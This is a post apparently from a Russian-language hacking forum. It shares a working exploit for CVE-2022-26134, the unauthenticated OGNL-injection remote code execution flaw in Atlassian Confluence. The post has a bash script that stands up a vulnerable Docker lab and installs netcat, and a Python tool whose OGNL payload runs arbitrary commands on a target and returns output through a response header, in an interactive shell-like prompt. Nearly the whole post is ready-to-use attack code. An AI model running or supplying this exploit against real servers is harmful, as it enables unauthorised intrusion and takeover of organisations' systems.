• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2022-26134 Confluence Pre-Auth RCE via OGNL Injection

propensity

HDD-drive
Пользователь
Регистрация
02.02.2023
Сообщения
40
Реакции
19
Описание
Confluence is a web-based corporate wiki developed by Australian software company Atlassian.

On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.



start_confluence.sh

Bash:
#!/bin/bash

# Specify Color Schemes
NONE='\033[00m'
RED='\033[01;31m'
GREEN='\033[01;32m'
YELLOW='\033[01;33m'
BLUE='\033[01;34m'
MAGENTA='\033[01;35m'
CYAN='\033[01;36m'
WHITE='\033[01;37m'
BOLD='\033[1m'
BLINK='\033[5m'
UNDERLINE='\033[4m'

# Globals
CONTAINER_ID=""
CONTAINER_IP=""

init(){
    # Set up environment before starting containers
    echo -e $BOLD$MAGENTA[+] Setting Up Environment $NONE

    #Check if program is being run as root
    if [[ $EUID -ne 0 ]]; then
        echo -e $BOLD$RED[!] This script must be run as ROOT!$NONE 1>&2
        exit -1
    fi

    # Start Docker
    echo -e "$BOLD$CYAN[i] Starting Docker"
    systemctl start docker
    if [ $? -eq 0 ]; then
        echo -e $BOLD$GREEN[+] Successfully Started Docker$NONE
    else
        echo -e $BOLD$RED[!] Failed to start Docker$NONE
        exit -2
    fi
}

fetch_compose(){
    echo -e $BOLD$YELLOW[i] Setup Guide: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134$NONE
    echo -e $BOLD$CYAN[i] Fetching Docker Compose$BLUE
    rm -rf docker-compose.yml
    wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
}

setup(){
    echo -e $BOLD$MAGENTA[i] Stopping Containers If Any$NONE
    DOCKER_BUILDKIT=1 docker-compose down -v
    echo -e $BLUE$BLUE[i] Building Images$NONE
    DOCKER_BUILDKIT=1 docker-compose build
    echo -e $BOLD$GREEN[+] Starting containers$NONE
    DOCKER_BUILDKIT=1 docker-compose up -d
}

setup_confluence(){
    CONTAINER_ID=$(docker ps | grep 'conflu' | cut -d ' ' -f1)
    docker exec -it $CONTAINER_ID sh -c "mkdir /home/confluence"
    docker exec -it $CONTAINER_ID sh -c "chown -R confluence:confluence /home/confluence"
    docker exec -it $CONTAINER_ID sh -c "apt update -y && apt install -y netcat"
}

main() {
    init
    fetch_compose
    setup
    setup_confluence

    echo -e $BOLD$GREEN[+] Done!$NONE
}

main

confluence-exploit.py

Python:
#!/usr/bin/env python3
import sys
import urllib3
import requests
import argparse
from requests.exceptions import InvalidSchema
from rich import print
from rich.prompt import Prompt
from urllib.parse import quote


# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Save options in a global dict
opt = dict()


def gen_payload(cmd: str):
    """Generate Payload for RCE"""

    payload = '${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' + cmd + '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}'
    payload = quote(payload)
    return payload


def check_args(cmd_args):
    """Check command line arguments for any sort of funny business"""

    # Start with checking the URL
    try:
        resp = requests.get(cmd_args.url, verify=False)
        if resp.ok:
            opt['url'] = cmd_args.url
        else:
            raise resp.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(":x:", f"[bold][red]Exception occured as:[/bold][/red] {e}", file = sys.stderr)
        sys.exit(-1)

    #Just print the arguments after parsing
    print(":link:", f"[bold]URL:[/bold] {opt['url']}")


def run_cmd(cmd):
    payload = gen_payload(cmd)
    url = opt['url'] + '/' + payload + '/'
    try:
        resp = requests.get(url, timeout=5, verify=False, allow_redirects=False)
        if 'X-Cmd-Response' not in resp.headers:
            print(":x:", "Could not find the Response Headers", file = sys.stderr)
            return 0
        print(resp.headers['X-Cmd-Response'])
        return 1
    except requests.exceptions.RequestException:
        print(":x:", "Request failed :(", file = sys.stderr)
        return -1


def start_prompt():
    """Start An Interactive Prompt"""
    try:
        while True:
            cmd = Prompt.ask(":point_right:", default="id")
            if (cmd.lower() == "quit" or cmd.lower() == "exit"):
                sys.exit(0)
            run_cmd(cmd)
    except KeyboardInterrupt:
        print()
        print(":x:", "[bold][red]Exiting![/red][/bold]")
        sys.exit(0)


def main():
    """Main Function"""

    parser = argparse.ArgumentParser(description="[+] Confluence Pre-Auth Remote Code Execution via OGNL Injection Exploit")
    parser.add_argument('-u', '--url', required=True,
                        help = "Base URL")
    check_args(parser.parse_args())

    start_prompt()


if __name__ == '__main__':
    main()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх